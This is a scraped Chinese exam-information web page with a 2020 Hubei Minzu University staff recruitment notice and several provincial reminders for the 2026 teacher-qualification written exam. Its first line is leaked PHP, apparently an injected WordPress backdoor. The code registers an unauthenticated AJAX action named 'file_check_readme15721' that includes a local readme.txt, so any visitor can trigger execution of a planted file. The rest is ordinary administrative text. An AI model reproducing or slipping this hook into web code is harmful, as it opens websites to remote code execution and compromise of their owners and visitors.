if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖北民族大学2020年公开招聘教师公告-全国教师资格考试网

湖北民族大学2020年公开招聘教师公告

  为了满足学校的用人需求,湖北民族大学2020年拟面向社会专项公开招聘93名工作人员。现将有关事宜公告如下:

  一、招聘计划

  湖北民族大学2020年拟专项公开招聘93名工作人员,具体岗位及条件详见《湖北民族大学2020年面向社会专项公开招聘工作人员岗位一览表》。

  二、招聘原则

  招聘工作坚持公开、平等、竞争、择优的原则。

  三、招聘条件

  (一)基本条件

  1.具有中华人民共和国国籍。

  2.遵纪守法,品行端正。

  3.具有岗位所需的专业知识和业务能力。

  4.具备适应岗位要求的身体条件。

  (二)任职条件

  1.年龄条件:博士研究生40周岁及以下(1980年1月1日以后出生),特别优秀者可适当放宽;硕士研究生30周岁及以下(1990年1月1日以后出生)。

  2.招聘岗位学历要求为硕士研究生的,必须同时具备如下条件:获得全日制普通本科学历、学位,获得硕士研究生学历、学位证书;或者本科学习阶段获得国内全日制普通本科学历、学位,硕士研究生学习阶段获得国外境外知名高校颁发的并且国家承认的硕士研究生学历、硕士学位证书。其中,专任教师岗要求本科学习阶段与硕士研究生学习阶段所学专业相同或者相近,硕士研究生学习阶段就读“双一流建设高校”(医学类、艺术类专业除外),或为国外境外知名高校毕业生。

  3.专职辅导员岗位必须是中共正式党员,2020年1月1日以前入党。

  4.实验员岗位须具有相关的专业知识和技能背景。

  5.具备各岗位所需的其他任职条件(详见《岗位一览表》。

  (三)有下列情形之一的人员不得报考

  1.涉嫌违法违纪正在接受审查的人员和尚未解除党纪、政纪处分的人员;

  2.公务员招考和事业单位公开招聘考试中被认定有严重违纪违规行为尚在禁考期内的人员;

  3.在读的非应届毕业生;

  4.现役军人;

  5.根据《事业单位公开招聘人员暂行规定》(人事部6号令)、《事业单位人事管理回避规定》(人社部规〔2019〕1号)的相关规定应当回避的人员;

  6.按照法律法规规定不得聘用的其他情形的人员。

  四、报名与资格审查

  (一)  报名方式

  采用网上报名。报名网址:http://hr.hbmzu.edu.cn:3207

  (二)报名时间

  招聘要求学历为博士研究生的岗位,报名时间为自公告发布之日起至2020年12月31日。招聘要求学历为硕士研究生、硕士研究生及以上的岗位,报名时间为自公告发布之日起至2020年4月30日。

  (三)报名要求

  1.应聘人员根据招聘公告、岗位条件及相关要求,按照报名系统的要求逐项填写相关个人信息和提交相关证明材料,保证所填资料的真实性、有效性和完整性;

  2.应聘人员应如实提交有关信息和材料,凡本人填写信息不真实、不完整或填写错误的,责任自负;弄虚作假的,一经查实即取消考试资格或聘用资格;入围面试的应聘人员参加面试资格复审时须提供报考相关证件或证明材料的原件和复印件;

  3.每人只能报考一个岗位,报名与考试时使用的身份证必须一致;

  4.应聘人员须保持报名时所留联系电话的畅通,并加入湖北民族大学2020年专项公开招聘QQ群(1013908975 )。专项公开招聘考试相关信息将通过湖北民族大学人事处网站和招聘QQ群发布,请应聘人员及时关注考试相关信息的发布;

  5.已在机关、企事业单位工作的,报考前应征得其所在单位同意,所在单位同意报考的书面证明需在面试前的资格复审时提供,资格复审时不能提供证明的取消面试资格)。

  学校将对应聘人员进行资格初审,资格初审结果另行通知。

  五、专业知识笔试

  (一)开考比例

  招聘要求学历为博士研究生的岗位免笔试,直接进入面试。招聘要求学历为硕士研究生、硕士研究生及以上的岗位,须参加湖北民族大学统一组织的笔试,并按招聘岗位计划数与通过资格审查的考生人数1:3比例开考,达不到开考比例的,取消该岗位的招聘计划。

  (二)准考证发放

  领取准考证的时间和地点另行通知。未在规定时间内领取笔试准考证的,视作放弃笔试资格。

  (三)笔试时间和地点

  笔试时间以笔试准考证上时间为准。笔试地点为湖北省恩施市学院路39号湖北民族大学,具体考场见笔试准考证。

  (四)笔试方式

  笔试采取闭卷的方式,主要测试应聘人员的公共基础知识、与岗位相关的专业知识和专业技能(应聘专职辅导员岗位的笔试含写作)。笔试实行百分制,满分100分。

  (五)笔试成绩查询

  笔试结束后,我校组织阅卷评分,并将笔试成绩公布在湖北民族大学人事处网站上供应聘人员查询。请应聘人员务必保管好笔试准考证,以便查询笔试成绩。

  六、面试

  面试前由湖北民族大学人事处对入围面试的应聘人员进行资格复审,根据资格复审结果发布面试公告。根据笔试成绩从高分到低分的顺序按招聘岗位计划数1∶3的比例确定进入面试人选,不足1∶3比例的,按实际参考人数确定。未按照指定时间、地点参加资格复审或资格复审不合格的,取消面试人选资格,在报考同一岗位的应聘人员中按笔试成绩从高分到低分依次递补。对参加面试人选低于1∶3的岗位,实行最低合格分数线控制,面试分数达到80分及以上的,方能进入体检考察阶段。

  面试工作按照《湖北省省直事业单位公开招聘面试工作规程》执行。面试重点测评应聘人员与岗位相适应的专业知识、业务能力和工作技能等方面的内容;测试应聘人员的综合素质、相关能力;测试应聘人员的综合运用专业知识解决工作中实际问题的能力。面试方式由学校根据岗位用人需要确定。专任教师岗位的面试以专业课的试讲、专业课技能为主,主要考核应聘人员的专业水平和教学能力。专职辅导员岗位采取结构化面试,主要考察应聘人员的业务能力、思维能力、应变能力、计划组织协调能力、语言表达能力、仪态仪表等。实验员岗位面试采取专业技能考核,主要考察应聘人员的专业技能、组织能力、协调能力。

  招聘要求学历为博士研究生的岗位面试成绩即为总成绩。招聘要求学历为硕士研究生、硕士研究生及以上的岗位,按笔试成绩、面试成绩两部分计算考试总成绩,满分100分。其中,专职辅导员岗位的笔试成绩、面试成绩分别占比40%和60%,专任教师岗位和实验员岗位的笔试成绩、面试成绩分别占比30%和70%。计算应聘人员成绩时,保留小数点后两位。

  七、体检与考察

  根据应聘人员考试总成绩,按照招聘计划按1:1比例从高分到低分的顺序确定进入体检、考察人选。体检由身体健康检查和心理测试两部分组成。体检参照公务员的标准,由学校统一组织在湖北民族大学附属民大医院进行。体检费由应聘人员自理,体检时间另行通知。心理测试结果作为是否聘用的重要参考依据。若未按规定时间到指定地点参加体检,视为自动放弃。考生自愿放弃体检或体检不合格的,取消拟聘人选资格,不再递补。

  体检合格者,由学校对其进行考察。考察工作按照德才兼备、以德为先的用人标准,重点考察应聘人员的政治思想、道德品质、能力素养、工作表现、遵纪守法、廉洁自律以及是否需要回避等方面的情况,考察中还要对应聘人员的报考资格进行复审。考察中,若发现有影响聘用并查证属实的或因应聘人员放弃考察的,取消聘用资格,不再递补。

  八、公示

  体检、考察合格的,确定为拟聘用人选,在湖北民族大学人事处网站(https://www.hbmzu.edu.cn/rsc/index.htm)公示,公示期为7个工作日。

  九、聘用

  对公示期满无异议的,按程序办理相关聘用手续。

  十、防疫须知

  本次招聘工作的防疫要求由湖北民族大学另行通知,应聘人员要自觉服从防疫工作安排,做好卫生防疫工作。参加现场招聘活动的,要出具健康码及相关必要证明。不服从安排的,取消应聘资格;故意隐瞒病情和相关接触史的,依法追究责任。

  十一、违纪违规处理

  对招聘过程中违纪违规行为的处理,按照《事业单位公开招聘违纪违规行为处理规定》(人社部第35号令)执行。

  十二、信息发布及政策咨询

  湖北省人力资源和社会保障厅网站(http://rst.hubei.gov.cn/)、湖北民族大学网站(https://www.hbmy.edu.cn/)为本次专项公开招聘公告发布网站,湖北民族大学人事处网站(https://www.hbmzu.edu.cn/rsc/index.htm)为本次专项公开招聘笔试、面试、录取情况等信息发布网站,请考生注意查看相关信息。

 政策咨询: 0718-8437559;rscrc@126.com(湖北民族大学人事处)

  监督举报:0718-8438381(湖北民族大学纪委监察处)

湖北民族大学2020年面向社会专项公开招聘工作人员岗位一览表.xls                                    

 湖北民族大学

2020年4月9日

 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部